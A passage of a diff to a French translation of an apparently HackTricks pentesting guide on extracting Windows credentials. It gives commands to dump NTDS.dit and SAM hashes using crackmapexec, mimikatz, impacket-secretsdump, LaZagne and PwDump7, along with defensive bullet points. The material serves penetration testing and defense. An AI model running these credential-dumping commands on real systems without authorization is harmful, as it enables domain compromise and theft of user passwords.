- Appliquer régulièrement les correctifs et les mises à jour sur les contrôleurs de domaine pour atténuer les vulnérabilités.
- Appliquer régulièrement les correctifs et les mises à jour sur les contrôleurs de domaine pour s'assurer qu'ils exécutent les dernières mises à jour de sécurité.
- Mettre en place des politiques de mots de passe solides et imposer des changements de mot de passe réguliers.
- Limiter les privilèges administratifs et mettre en œuvre le principe du moindre privilège.
- Surveiller et auditer l'accès au fichier NTDS.dit.
- Chiffrer le fichier NTDS.dit à l'aide de technologies telles que BitLocker.
- Mettre en place des systèmes de détection et de prévention des intrusions pour détecter et empêcher les tentatives d'accès non autorisées.
```
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
@ -226,7 +232,7 @@ Here's an example using `mimikatz`:
mimikatz # privilege::debug
```
7. Next, use the following command to dump the NTDS.dit password history:
7. Then, execute the following command to dump the NTDS.dit password history:
```
mimikatz # lsadump::sam /system:C:\Windows\system32\config\SYSTEM /security:C:\Windows\system32\config\SECURITY /ntds:C:\Windows\NTDS\NTDS.dit /passwordhistory
@ -234,7 +240,7 @@ Here's an example using `mimikatz`:
Replace the paths with the correct locations of the respective files on the target machine.
8. `mimikatz` will then extract the password hashes, including the password history, from the NTDS.dit database.
8. The password history, including the hashes, will be displayed in the output.
Remember to always perform these actions within a legal and authorized context, such as during a penetration test or with proper consent.
```
@ -271,7 +277,7 @@ impacket-secretsdump -sam sam -security security -system system LOCAL
```
### Volume Shadow Copy
Vous pouvez effectuer une copie des fichiers protégés en utilisant ce service. Vous devez être administrateur.
Vous pouvez effectuer une copie des fichiers protégés en utilisant ce service. Vous devez être Administrateur.
#### Utilisation de vssadmin
@ -318,7 +324,7 @@ Ce fichier est une base de données _Extensible Storage Engine_ (ESE) et est "of
Plus d'informations à ce sujet : [http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/)
Windows utilise _Ntdsa.dll_ pour interagir avec ce fichier et il est utilisé par _lsass.exe_. Ainsi, une **partie** du fichier **NTDS.dit** pourrait être située **à l'intérieur de la mémoire de `lsass`** (vous pouvez trouver les données les plus récemment consultées probablement en raison de l'amélioration des performances grâce à une **mise en cache**).
Windows utilise _Ntdsa.dll_ pour interagir avec ce fichier et il est utilisé par _lsass.exe_. Ainsi, une **partie** du fichier **NTDS.dit** pourrait être située **à l'intérieur de la mémoire de `lsass`** (vous pouvez trouver les données les plus récemment consultées probablement en raison de l'amélioration des performances grâce à un **cache**).
#### Décryptage des hachages à l'intérieur de NTDS.dit
@ -362,7 +368,7 @@ La ruche `SYSTEM` est facultative mais permet le décryptage des secrets (hachag
## Lazagne
Téléchargez le binaire à partir de [ici](https://github.com/AlessandroZ/LaZagne/releases). Vous pouvez utiliser ce binaire pour extraire des informations d'identification de plusieurs logiciels.
Téléchargez le binaire à partir de [ici](https://github.com/AlessandroZ/LaZagne/releases). Vous pouvez utiliser ce binaire pour extraire des informations d'identification à partir de plusieurs logiciels.
```
lazagne.exe all
```
@ -389,14 +395,12 @@ type outpwdump
```
### PwDump7
Téléchargez-le depuis: [http://www.tarasco.org/security/pwdump\_7](http://www.tarasco.org/security/pwdump\_7) et **exécutez-le** simplement pour extraire les mots de passe.
Téléchargez-le depuis: [http://www.tarasco.org/security/pwdump\_7](http://www.tarasco.org/security/pwdump\_7) et **exécutez-le** simplement et les mots de passe seront extraits.
## Défenses
[**Apprenez-en plus sur certaines protections des identifiants ici.**](credentials-protections.md)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>